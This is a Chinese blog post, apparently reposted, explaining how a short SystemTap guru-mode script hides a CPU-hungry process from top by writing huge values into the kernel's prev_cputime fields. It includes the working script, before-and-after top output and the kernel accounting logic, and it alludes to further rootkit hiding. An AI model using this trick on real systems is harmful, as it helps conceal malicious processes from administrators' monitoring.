今天到上海比较早,赶上了嘉泰线公交车,省了几十块钱打车钱,高兴!
两行代码能干啥?能隐藏一个进程在top中的显示,却也只能隐藏一个进程在top中的显示。如果非要抬杠sar可以暴露,perf可以暴露,trace可以暴露…那显然没有get到我要说的点。
我们来写一个循环消耗CPU的程序:
int main()
{
while (1) {}
}
然后运行它,随后top:
top - 18:06:34 up 19:13, 4 users, load average: 0.22, 0.06, 0.06
Tasks: 90 total, 3 running, 87 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.5 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.5 si, 0.0 st
KiB Mem : 1016860 total, 69464 free, 482116 used, 465280 buff/cache
KiB Swap: 2097148 total, 2055368 free, 41780 used. 317840 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
18351 root 20 0 4212 352 280 R 99.9 0.0 0:15.21 a.out
18345 root 20 0 161892 2160 1564 R 0.3 0.2 0:00.01 top
1 root 20 0 51684 1928 1192 S 0.0 0.2 0:07.87 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.53 ksoftirqd/0
注意a.out的CPU利用率。
那么如何用最简单的方法隐藏它呢?很容易,下面即可:
#!/usr/bin/stap -g
global pid;
probe kernel.function("account_process_tick")
{
if (pid() == pid) {
@cast($p, "struct task_struct")->signal->prev_cputime->utime = 0x3fffffffffffffff;
@cast($p, "struct task_struct")->signal->prev_cputime->stime = 0x3fffffffffffffff;
exit();
}
}
probe begin
{
pid = $1
}
以a.out的pid 18351作为参数执行之,再次top:
top - 18:11:33 up 19:18, 4 users, load average: 1.18, 0.76, 0.36
Tasks: 88 total, 3 running, 85 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 286132 free, 283276 used, 447452 buff/cache
KiB Swap: 2097148 total, 2055280 free, 41868 used. 515244 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 51684 1924 1192 S 0.0 0.2 0:07.92 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.54 ksoftirqd/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
哈哈,没了!
然而,total usage还在,不过两行代码能做的也仅仅如此了,如果多点代码,可以继续隐藏total usage,甚至perf event都可以给你劫咯。
我所谓的那两行代码就是:
@cast($p, "struct task_struct")->signal->prev_cputime->utime = 0x3fffffffffffffff;
@cast($p, "struct task_struct")->signal->prev_cputime->stime = 0x3fffffffffffffff;
为什么呢?
每一个时钟中断,中断处理程序会判断当前进程的状态,将上一个时钟周期记账给current的utime或者stime。
在top命令获取进程的CPU时间时,会调用cputime_adjust:
static void cputime_adjust(struct task_cputime *curr,
struct cputime *prev,
cputime_t *ut, cputime_t *st)
{
cputime_t rtime, stime, utime;
/*
* Tick based cputime accounting depend on random scheduling
* timeslices of a task to be interrupted or not by the timer.
* Depending on these circumstances, the number of these interrupts
* may be over or under-optimistic, matching the real user and system
* cputime with a variable precision.
*
* Fix this by scaling these tick based values against the total
* runtime accounted by the CFS scheduler.
*/
rtime = nsecs_to_cputime(curr->sum_exec_runtime);
/*
* Update userspace visible utime/stime values only if actual execution
* time is bigger than already exported. Note that can happen, that we
* provided bigger values due to scaling inaccuracy on big numbers.
*/
if (prev->stime + prev->utime >= rtime)
goto out;
...
注意那个goto out,我是看了注释才知道的,于是该trick就是利用了这个条件。所有的time都是u64的类型,单位为纳秒,也就是说,一秒中流逝的time片为100010001000个,然而u64可以表示的数字为18446744073709551615,大致是10000000000秒的量级,约317年。
也就是说,300多年后,u64才能回绕,所以,我只要把prev的stime和utime之和设置成足够大,就OK了,也就是上面的两行代码。
这种把戏一下子就被抓到了,所以只能玩玩,我前面写的那些Rootkit把戏倒是可以深入研究一下。
鸡屎也不留,用手殴,净肉球!
浙江温州皮鞋湿,下雨进水不会胖。
原文链接: https://blog.csdn.net/dog250/article/details/107997144
欢迎关注
微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍;
也有高质量的技术群,里面有嵌入式、搜广推等BAT大佬
原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/405857
非原创文章文中已经注明原地址,如有侵权,联系删除
关注公众号【高性能架构探索】,第一时间获取最新文章
转载文章受原作者版权保护。转载请注明原作者出处!